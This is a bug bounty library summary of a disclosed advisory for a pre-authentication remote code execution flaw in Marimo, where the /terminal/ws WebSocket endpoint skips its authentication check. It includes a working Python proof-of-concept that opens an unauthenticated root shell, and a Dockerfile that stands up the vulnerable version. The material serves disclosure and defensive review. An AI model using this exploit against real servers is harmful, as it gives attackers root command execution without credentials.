# Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

Marimo's /terminal/ws WebSocket endpoint skipped validate_auth(), letting unauthenticated attackers get a root PTY shell and run arbitrary commands.

- Payout: Research
- Severity: critical
- Program: Marimo
- Found by: q1uf3ng
- Disclosed: 2026-04-08
- CVE: CVE-2026-39987
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2679-6mx9-h9xc
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2679-6mx9-h9xc
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:python tech:websocket technique:source-review vuln:access-control vuln:auth-bypass vuln:rce

**Target:** marimo edit server /terminal/ws WebSocket
**Root cause:** /terminal/ws accepts the WebSocket and forks a PTY without calling validate_auth(), unlike /ws; Starlette auth middleware does not reject unauthenticated WebSocket connections.
**Steps:**
1. Connect to `ws://TARGET:2718/terminal/ws` with no credentials
2. Endpoint calls `websocket.accept()` then `pty.fork()`
3. Send `id\n` over the socket
4. Receive `uid=0(root) gid=0(root) groups=0(root)`
**How found:** Diffed WebSocket endpoints: /ws invokes WebSocketConnectionValidator.validate_auth() while /terminal/ws only checks SessionMode.EDIT and supports_terminal(); realized Starlette's AuthenticationMiddleware marks UnauthenticatedUser but never rejects WebSocket upgrades, so the missing endpoint-level check is fatal.
**Exploitation:** One unauthenticated WebSocket connection yields an interactive root PTY shell; arbitrary commands execute as root in default Docker deployments, bypassing access_token auth entirely.
**Insight:** Framework auth middleware that only annotates requests leaves WebSocket routes unprotected unless each endpoint self-validates; grep every @router.websocket handler for validate_auth()/@requires and compare against a known-good sibling.

## Proof of concept (copied exactly from the original report)

**Unauthenticated WebSocket terminal RCE exploit script**

```
import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())  # uid=0(root) gid=0(root) groups=0(root)
ws.close()
```

**Dockerfile reproduction environment for vulnerable marimo**

```
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
```

